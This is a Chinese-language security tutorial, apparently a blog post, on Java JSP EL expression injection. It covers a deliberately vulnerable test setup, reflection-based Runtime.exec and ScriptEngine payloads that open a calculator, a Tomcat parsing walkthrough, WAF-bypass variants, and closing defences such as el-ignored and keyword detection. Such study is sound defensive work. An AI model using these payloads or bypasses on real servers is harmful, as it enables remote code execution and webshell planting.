Java表达式注入(JSP EL表达式注入)

前言:

        常见的表达式注入方式有EL表达式注入、SpEL表达式注入和OGNL表达式注入等。下面首先对EL表达式注入进行讲解:

EL表达式介绍:

        EL(Expression Language)是为了使JSP写起来更加简单. 表达式语言的灵感来自于ECMAScript和XPath表达式语言, 它提供了在JSP中简化表达式的方法, 让JSP的代码更加简化.

        注意:EL不是一种开发语言,是jsp中获取数据的一种规范;

        JSP写法:<%=session.getAttribute("name")%>

        El表达式写法:${sessionScope.name}

EL表达式主要功能如下:

  • 获取数据:EL表达式主要用于替换JSP页面中的脚本表达式, 以从各种类型的Web域中检索Java对象、获取数据(某个Web域中的对象, 访问JavaBean的属性、访问List集合、访问Map集合、访问数组).
     
  • 执行运算: 利用EL表达式可以在JSP页面中执行一些基本的关系运算、逻辑运算和算术运算, 以在JSP页面中完成一些简单的逻辑运算, 例如${user==null}.
     
  • 获取Web开发常用对象:EL表达式定义了一些隐式对象, 利用这些隐式对象,Web开发人员可以很轻松获得对Web常用对象的引用, 从而获得这些对象中的数据.
     
  • 调用Java方法:EL表达式允许用户开发自定义EL函数, 以在JSP页面中通过EL表达式调用Java类的方法.

其中最需要关心的是其隐含对象:

        JSP本质是 Servlet,但比 Servlet 多了一个作用域:页面域,在 JSP 中有四大作用域, 页面上下文对象为pageContext,是 JSP 其中一个内置对象名,其中我们是要使用setAttribute(String key, Object value),向页面域中添加键和值,利用方式就是通过pageContext.setAttribute其中添加可以执行命令的语句,当解析el语句的时候就可以触发我们的代码并执行。

测试:

        我们如果测试什么情况下会存在EL表达式注入,由于el表达式有计算等功能,我们可以利用这些功能判断是否存在EL表达式注入,首先我们添加一个el可以调用class的测试代码:

添加controller接口ElTestServlet类并添加方法hello:

public class ElTestServlet extends HttpServlet {
    @RequestMapping(value = "/index.do",method = RequestMethod.GET)
    public ModelAndView hello(@RequestParam("username") String username){
        ModelAndView mv = new ModelAndView();
        mv.addObject("username", username);
        mv.setViewName("index");
        return mv;
    }
}

添加类ElTestService并添加方法doSomething:

public class ElTestService {
    public static String doSomething(String str) {
        return str;
    }
}

 添加test.tld文件:

<?xml version="1.0" encoding="UTF-8"?>
<taglib version="2.0" xmlns="http://java.sun.com/xml/ns/j2ee"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd">
    <tlib-version>1.0</tlib-version>
    <short-name>ElTestService</short-name>
    <uri>/WEB-INF/test.tld</uri>
    <function>
        <name>doSomething</name>
        <function-class>org.example.service.ElTestService</function-class>
        <function-signature> java.lang.String doSomething(java.lang.String)</function-signature>
    </function>
</taglib>

并在web.xml中添加对tld的调用:

    <jsp-config>
        <taglib>
            <taglib-uri>/WEB-INF/test.tld
            </taglib-uri>
            <taglib-location>
                /WEB-INF/test.tld
            </taglib-location>
        </taglib>
    </jsp-config>

最后是测试的index.jsp:

<%@ taglib uri="/WEB-INF/test.tld"  prefix="elfun" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Title</title>

</head>
<body>
<pre>
    param.username is :  ${param.username}

    user is: ${username}

    pageContext.setAttribute("a",param.username) is :  ${pageContext.setAttribute("a",param.username)} ${a}

    elfun:doSomething(username) is : ${elfun:doSomething(username)}

    <\%=rows%> is: <% String rows = "${2+1}";%><%=rows%>

    out.println is: <% out.println("${2+1}");%>

    pageContext.setAttribute("a", 2-1) is : ${pageContext.setAttribute("a", 2-1)} ${a}

    elfun:doSomething(2-1) is : ${elfun:doSomething(2-1)}
</pre>
</body>
</html>

 执行后可以看到如下显示:

  

可以看到通过参数传入的值均会被当作字符串进行解析,并不会被当作el进行解析,只有最后两种直接赋值的方式可以被当作el进行解析,调试下可以看到,当我们使用

${elfun:doSomething(2-1)}

方式的时候在进入调用函数前已经完成了对内容的解析,而不是由函数处理完成后对其进行解析。

所以如果想要通过${}实现el注入则参数不能被当作字符串解析,所以除非开发故意,否则我们没有办法在页面植入我们的代码并执行,所以想要利用el注入可以做web后门或者当后端会对获取到的数据进行二次el解析或者当我们需要进行绕过比如JNDI注入高版本绕过等才能利用该漏洞。但是本着研究我们还是手工添加代码进行测试。当我们使用下列语句可以打印出系统信息:

获取目录,然后就可以写入webshell等:

${pageContext.getSession().getServletContext().getClassLoader().getResource("")}

 执行命令,访问页面,解析下面el语句并通过反射调用runtime的exec方法执行命令:

${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe"))}

当然也可以使用${applicationScope},访问application作用域内部,可以获取到应用的各种属性,且可获取webRoot

代码分析:

当我们访问页面打开计算器到底执行了哪些,这里我们简单进行分析:

当我们执行下列语句即可弹出计算器:

${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe"))}

其主要为后面的反射代码,其反射主要执行代码为:

Runtime.getRuntime().exec("calc");

下面看看该el语句是如何被解析,首先查看执行堆栈,可以看到主要进入的是以下几个方法实现了对EL语句的解析到最后反射执行:

首先是建构ValueExpressionImpl对象并返回,参数为表达式,node , 函数mapper , 变量 Mapper ,期望类型初始化即可,其中主要为表达式和期望类型:

然后为调用proprietaryEvaluate方法创建el上下文,其中重要的参数为前三个,分别为el表达式,期望类型和页面上下文,后面的为空和false。

 然后调用getValue()方法获取Value值:

对EL语法树的解析是根据节点进行解析,其中根节点是AstValue,3个子节点分别为AstIdentifier , DotSuffix , DotSuffix,此处会循环对el语法树进行解析

 然后调用BeanELResolver的invoke方法找到方法函数并反射执行,就完成了对EL的解析和执行,这里注意pageContext对象仅能用BeanELResolver来处理:

上述便完成了对el解析的关键函数的分析,其最主要的就是对el语法树的解析,这里跟踪的是tomcat容器下的el代码对el解析的类还有很多,不同容器对el语法树的解析也会存在差异,这就导致很多我们编写好的exp并不能在各个平台通用,所以在编写poc的时候要了解对方使用的是什么容器Tomcat,Jboss,Resin还是glassfish对应的哪个,然后再分析对应的el解析才能更好的编写攻击代码。

差异比较:

EL一开始是作为JSTL的一部分使用,但是EL进入了JSP 2.0标准. 现在EL API已被分离到包javax.el中, 并且已删除了对核心JSP类的所有依赖关系, 也就是说, 现在现在:the  EL is ready for use in non-JSP applications!

JUEL 是  Unified Expression Language (EL) 的一个实现,表达式已经作为JSP2.1 标准的一部分被引入到 JEE5,而且 JUEL 2.2 也 实现了JSP 2.2 规格说明要遵从的 JEE6 的全部规范.

pom.xml添加:

    <dependencies>
        <dependency>
            <groupId>de.odysseus.juel</groupId>
            <artifactId>juel-api</artifactId>
            <version>2.2.7</version>
        </dependency>
        <dependency>
            <groupId>de.odysseus.juel</groupId>
            <artifactId>juel-spi</artifactId>
            <version>2.2.7</version>
        </dependency>
        <dependency>
            <groupId>de.odysseus.juel</groupId>
            <artifactId>juel-impl</artifactId>
            <version>2.2.7</version>
        </dependency>
    </dependencies>

编写测试代码:

public class Main {
    public static void main(String[] args) throws Exception {
        test2();
    }
    public static void test2() throws Exception{
        ExpressionFactory expressionFactory = new ExpressionFactoryImpl();
        SimpleContext simpleContext = new SimpleContext();
        String exp1 = "${\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('calc')\")}";
        String exp2 = "${\"\".getClass().forName(\"java.lang.Runtime\").getMethod(\"exec\",\"\".getClass()).invoke(\"\".getClass().forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null),\"calc.exe\")}\n";
        String exp3 = "${\"\".getClass().forName(\"javax.script.ScriptEngine\").getMethod(\"eval\",\"\".getClass()).invoke(\"\".getClass().forName(\"javax.script.ScriptEngineManager\").getMethod(\"getEngineByName\",\"\".getClass()).invoke(\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance(),\"JavaScript\"),\"java.lang.Runtime.getRuntime().exec('calc')\")}";

        ValueExpression valueExpression = expressionFactory.createValueExpression(simpleContext, exp1, String.class);
        valueExpression.getValue(simpleContext);

        ScriptEngineManager obj = (ScriptEngineManager) "".getClass().forName("javax.script.ScriptEngineManager").newInstance();
        obj.getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('calc.exe')");
    }


}

我首先测试使用javax.script.ScriptEngineManager类来执行java代码进而完成命令执行,但是执行后可以看到报错:

这就很奇怪了,为什么会是io.reader类型,但是分析了下发现个奇怪的问题,当我单步调试的时候成功弹出了计算器,但是当我直接执行,却调用的是下面的参数为reader类型的eval方法,这就导致了系统报错参数类型不符:

 反射函数本质执行的是如下代码:

ScriptEngineManager obj = (ScriptEngineManager) "".getClass().forName("javax.script.ScriptEngineManager").newInstance();
obj.getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('calc.exe')");

那我测试了下完全进行反射,

Object obj1 = "".getClass().forName("javax.script.ScriptEngineManager").getMethod("getEngineByName","".getClass()).invoke("".getClass().forName("javax.script.ScriptEngineManager").newInstance(),"JavaScript");
Class myclass2 = "".getClass().forName("javax.script.ScriptEngine");
Method method2 = myclass2.getMethod("eval","".getClass());
method2.invoke(obj1,"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()");

拼接完成为如下两种形式:

"${\"\".getClass().forName(\"javax.script.ScriptEngine\").getMethod(\"eval\",\"\".getClass()).invoke(\"\".getClass().forName(\"javax.script.ScriptEngineManager\").getMethod(\"getEngineByName\",\"\".getClass()).invoke(\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance(),\"JavaScript\"),\"java.lang.Runtime.getRuntime().exec('calc')\")}";

${pageContext.setAttribute("a","".getClass().forName("javax.script.ScriptEngine").getMethod("eval","".getClass()).invoke("".getClass().forName("javax.script.ScriptEngineManager").getMethod("getEngineByName","".getClass()).invoke("".getClass().forName("javax.script.ScriptEngineManager").newInstance(),"JavaScript"),"java.lang.Runtime.getRuntime().exec('calc')"))}

 执行可以成功弹出计算器,在tomcat下也可以弹出,但是换了个低版本tomcat又出错,搞得有点头疼,也懒得分析了,兼容性最好的就是直接反射java.lang.Runtime然后调用exec执行系统命令,如果想要javax.script.ScriptEngineManager反射执行java代码那就看运气了是好是坏。

绕过:

当存在防火墙的时候,如何进行绕过:

首先是如果是针对getClass的过滤可以使用如下进行绕过:

"${\"\".class.getSuperclass().class.forName(\"java.lang.Runtime\").getDeclaredMethods()[15].invoke(\"\".class.getSuperclass().class.forName(\"java.lang.Runtime\").getDeclaredMethods()[7].invoke(null),\"calc.exe\")}";

或者采用字符串拼接:

"${\"\".getClass().forName(\"java.la\"+\"ng.Runtime\").getMethod(\"exec\",\"\".getClass()).invoke(\"\".getClass().forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null),\"calc.exe\")}\n";

或者对命令采用数组形式:

"${\"\".getClass().forName(\"javax.script.ScriptEngine\").getMethod(\"eval\",\"\".getClass()).invoke(\"\".getClass().forName(\"javax.script.ScriptEngineManager\").getMethod(\"getEngineByName\",\"\".getClass()).invoke(\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance(),\"JavaScript\"),\"java.lang.Runtime.getRuntime().exec('s=[3];s[0]='open';s[1]='-a';s[2]='Calculator';java.lang.Runtime.getRuntime().exec(s);')\")}";

也可以在eval中调用java.net.URLDecoder的decode方法吧经过编码的执行代码进行执行:

.eval((java.net.URLDecoder).decode(\"

具体怎么用则视现场情况选用一个或多种方法组合利用。

防御:

如何防御el注入,第一种就是可以直接关闭执行el,可以在web.xml中加入配置:

    <jsp-property-group>
        <url-pattern>*.jsp</url-pattern>
        <el-ignored>true</el-ignored>
    </jsp-property-group>

加入后,访问页面可以看到,所有的el表达式都被当作字符串解析:

而且一旦设置了true,JSTL标签的也无法执行,所以如果不用el表达式,可以直接关闭,但是如果有需要可以自定义关闭:

<%@ page isELIgnored="true" %>

在需要关闭el功能的jsp页面加上上面的语句,也可以关闭当前页面的el解析,但是不影响其他交界面

最后就是对输入的关键字解析,主要就是检测el语句中是否调用了反射需要的函数,一般正常代码不会通过反射来调用功能,正常会通过JSTL的方式去访问java类,所以如果存在反射可以被判断为攻击代码,当然如果真的有代码非要反射调用,那只能去检测是否存在调用 java.lang.Runtime和javax.script.ScriptEngine类和对eval的调用即可判断为恶意攻击。

总结:

EL表达式注入分析下来发现由于不同的版本或者不同的方法会对el语法解析的时候存在差异性,比如这里介绍的是jsp el,还有jboss el等所以同一个代码在不同的平台执行会有差异性,在碰到需要利用EL注入的情况下要根据具体的场景选用相对应的攻击代码,另外根据waf情况对代码进行修改。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值